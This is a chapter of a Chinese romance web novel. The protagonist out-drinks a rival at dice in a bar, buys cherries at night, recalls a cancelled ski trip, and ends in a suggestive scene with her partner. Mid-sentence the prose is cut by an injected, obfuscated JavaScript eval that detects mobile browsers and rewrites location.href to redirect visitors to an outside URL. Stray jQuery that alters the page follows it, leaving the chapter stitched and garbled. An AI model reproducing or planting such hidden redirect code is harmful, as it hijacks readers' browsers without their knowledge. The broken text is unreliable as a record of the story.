31. 收拾

作品:《野樱桃

    班澜没法儿说林兜兜的事,她低头去寻安全带扣,随口搪塞说工作室多。


    也不能没来由迁怒眼前笑盈盈的男人。


    “那是跟我出去玩儿还是回家?”


    “去哪儿?”


    “几个老同学回来了说聚聚,想去吗。”


    老同学?


    班澜想起倪若宇就是池一洋同学,毫不含糊地点头。


    等到地方一看,包间里果然坐着倪若宇,喝得七八分,稳着步子来迎他们。


    班澜看见他眼中一闪而过的惊讶,很快借着酒意遮掩过去。


    哼,睡了我的人,还想装死?


    班澜没好脸,坐下后便不跟他搭话。


    不知道倪若宇是没脑子还是没眼力,拎着筛子大剌剌坐在池一洋旁边。


    “班总,又见面了,上次没喝酒,今天得跟你喝尽兴。”


    “还是叫我班澜吧。倪总想玩什么。”


    “摇吧,女士优先。”倪若宇倒扣黑色皮革筛盅,响起一阵清脆,煞有介事,看着很厉害。


    班澜嘴角一扯,柔柔弱弱望夹在他俩中间的池一洋:“输了你喝哦。”


    他含笑:“好啊。”


    “两个一。”班澜半斜筛盅,漫不经心。


    倪若宇微微一顿:“加一个。”


    “开。”


    “……”


    班澜掀开,一个一没有,赢得简简单单。


    倪若宇笑着举起酒杯喝完,不服气地倒扣筛子:“再来。”


    ……


    来来往往几个回合,池一洋始终没碰到过酒杯,很快就把倪若宇喝上头了。


    “倪总要不歇歇?这会儿我运气好。”


    池一洋捂嘴嗤笑,运气好也就是头三把,当初班澜的筛子是他教的,一个小时以后,她就欺师灭祖让池一洋喝到吐。


    旁边几个也凑过来,打趣说倪若宇又菜又爱玩。


    嚷嚷着他们来几把,池一洋顺手提议要不大家一起。


    再开局,班澜的火力始终对着倪若宇猛轰,只要他说话,十回有八回被班澜抢开。


    人多压得酒多,几轮以后池一洋轻声让班澜往旁边坐,指指倪若宇:“空点位置,我感觉他要吐了。”


    班澜这才作罢。


    夜店午夜最炸裂的时候,她和池一洋比来得时候还清醒。


    来来往往几个女人,越到夜深,越是攀着,唯独池一洋身边没有。


    倪若宇也没有,他已经喝大了,靠在沙发上犯恶心。


    碍于是合作客户,班澜本来没想招惹他,谁知道这人上赶着买醉。


    三把就看出来不是班澜对手,还死命要玩,倒是让她瞬间没了脾气。


    果盘难吃,小吃软绵绵,耳朵被电音狂轰滥炸。


    班澜想走,听见隔壁人在说话:“倪若宇今天心情不好啊,喝这么多。”


    “还不是因为要结婚了,估计怨气大得很。”


    有人插话:“倪大设计师心气儿高,那姑娘不错啊,那么多年的婚约,到底也是知根知底了吧。”


    “害,还不都那么回事。”


    ……


    最后不知道谁提一句,像是总结陈词,大家默契地举起杯子喊喝酒喝酒,就把话题断了。


    班澜听了一半,不尽兴。


    “耳朵竖得像个兔子,这么感兴趣?”


    她耳垂突然被一捏,小心思散了一地。


    “随便听听,嘿嘿。”


    “回家吧。”池一洋又去握她的手。


    班澜余光扫到那几个女人频频投来的视线,带着对她和池一洋的打量,这感觉不佳。


    “好啊,我们去买点水果,我想吃樱桃。”班澜起身拿包。


    ……


    身边几人也听到她说话,凌晨买水果,倒真像和池家少爷要认真过日子。


    班澜刚进包间的时候,他们还在稍远的一侧琢磨她的身份。


    他们这一票初中同学,都是在杭城附近做实业发家的,身边女伴也多是流水,没见过带着要买水果回家吃的。


    买包买车差不多。


    这女人不一般,摇筛子青涩,喊筛子句句致命。


    谁逗她,她都笑着说:“那我不是还没输过嘛,输了我就喝。”


    眼神清澈真诚,劝酒都要卖她三分面子。


    有聪明人说这姑娘不是摇筛子,是算着呢。


    班澜听见了,笑眯眯跟着池一洋往外走。


    废话,跟你们又不熟,又没钱赚,还不带脑子吗?


    倪若宇恍惚瞥见班澜要走,晃着起来,走了几步,朝着门的反方向嘴里嘀咕要送送他们……


    被朋友拉住,让他别折腾了,路都走不直还送谁啊。


    他没架住酒意,眼巴巴看两人走远。


    酒吧离滨水街不远,两人没喊代驾,把车丢在停车场,溜达回去。


    街角新开的水果店24小时营业,班澜蹲在路边拿起一盒樱桃。


    “现在的樱桃为什么颜色这么浅,难道是催熟的?”


    ……


    班澜声音很低,可惜夜深,店里只有老板在收银台望眼欲穿。


    听得一字不落。


    脾气挺好,一副和气生财的模样说冬天的樱桃极少,都是大棚饲养的,都这样,不过一样甜。


    班澜不知真假,点头付钱。


    拎着袋子出来,池一洋正灭了手中香烟。


    “说说吧,倪若宇怎么惹你了?”他接过水果,与班澜相望,等她回答。


    “没啊。”


    “骗鬼呢,盯着他开,要不是他酒量差倒得快,能给你喝趴。”


    “真没有,我单纯就是看他好玩。”


    “……”


    班澜不会在这种事上出卖好朋友,到底是林兜兜的私事,虽然她万千嘱咐班澜有机会多多打探倪若宇的周边消息,那也不能说我助理跟你同学睡了吧……


    这些公子哥,真正有情有义的又有几个,班澜想到刚才那些人嘴里说的,忍不住撇撇嘴,又暗骂林兜兜大傻子。


    “好玩?男人在你这儿还有这种分类?”


    池一洋扣着她手腕不放,好玩是什么鬼东西?


    前有傅如白温柔帅气,再有李云湛狂野霸气,今天又来一个倪若宇好玩儿?


    班澜被捏得更紧,她甩也甩不开。


    “跟他能有什么好玩的,我不比他好玩?”凑近身子,袖口边缘覆在她手背,酥酥麻麻。


    班澜仰头,夜幕中漆黑眸子似笑非笑,眼底汪着深情。


    她不知道池一洋以前是什么样的,但是今天他带她赴约,又清清爽爽从烟酒混乱中孑然离开,恍若沉沦人世间唯独清醒的一双人。


    单单


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995039|158427||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在月光中对视,都很带劲。


    他约莫是亲在耳廓,轻声问她:“要过生日了,送你什么好呢。”


    ……


    她和池一洋分开前最后一个生日计划,是去滑雪。


    班澜生在冬天,对雪有特别的记忆,虽然生日不被人记起,但是那个时间段,总能迎来杭城的初雪。


    坐在窗户边看小楼露台积一点带着厚度的雪,是令人期待的事。


    于是他们在初夏,就商量冬季滑雪旅程,要去蓝调的阿勒泰雪场,要用单板和身体去拥抱冰天雪地。


    池一洋从小就被明令禁止参与任何危险运动,他私下找好教练,制定了一整个寒假的滑雪计划,准备承包班澜大一结束的喜悦。


    却在暑假就被打乱。


    班澜后来再也不向往这项运动,她对疼痛和未知强烈抵触。


    滑雪摔倒的冲击,让她不断回想起记忆里撕开的口子。


    她换下衣服,热水淋湿头发,温度触碰刚愈合的新生皮肤,还是习惯性避开。


    原来遗憾并不能代替恐惧。


    至少现在,她还不完全具备去尝试的勇气。


    再等等吧。


    “洗好了?过来吃水果。”


    班澜披上睡袍,池一洋说完又背过身洗樱桃,白色碗碟中已经堆成小小一座山,他摘了梗冲洗过后往上放,放不稳滚落下来,他着急伸手去捞。


    “啊......”班澜张嘴。


    他把手里一颗递上,班澜一口咬住。


    脆生口感让她皱眉:“老板骗人,一点不甜。”


    池一洋试试摇头:“真的,看来大棚催熟的确实不行。”


    然后伸手指尖触到她晶莹唇边,声线温柔:“吐掉。”


    班澜看着那个咬了一半的果子被他扔进垃圾桶……


    任何东西一旦过度干涉都会和美好背道而驰,水果也是,婚姻也是。


    倪若宇失落的眼神在班澜脑中浮现,或许他也有万般无奈,但是最终也只能咬牙吃完这颗。


    厨房灯暗下,班澜路过衣帽间,地上摊着银色行李箱,池一洋站在衣柜边抱臂。


    班澜向前一步:“你要出差?”


    “嗯,后天就回,”他招手,班澜跨过行李箱,被他拉进怀里,“涵妈不在,要不辛苦你帮我收拾好不好。”


    班澜踮脚说好,转身去翻挂在衣架上的成套西服。


    纤细小臂划过成衣,轻轻一挑,再对比旁边领带,模样格外认真。


    池一洋从背后搂住她软腰,下巴靠在头顶,看她左右搭配。


    “别压着我啊,不好拿了。”班澜仰头看她,他稍稍松开,但是身影依旧完完整整笼罩她。


    “你挑,我来拿。”班澜听他声音带哑,明显心不在焉,修长大手已经握住她手腕。


    班澜被逗的迷糊,也没了耐心,随手指了两件,直接被池一洋头也不回扔进行李里。


    耳后的呼吸声变重,班澜被两步带到柜门边。


    滨水街房子不大,衣帽间也就紧凑。


    只一面通体长柜,一面落地镜子……


    被抓住的手腕顷刻间被按住,柜门滑轨因震动微颤。


    班澜感到睡裙被撩动:“不收拾行李了吗。”


    她看不见池一洋此刻表情,只有滚烫的吻落在肩膀:“乖,先收拾你。”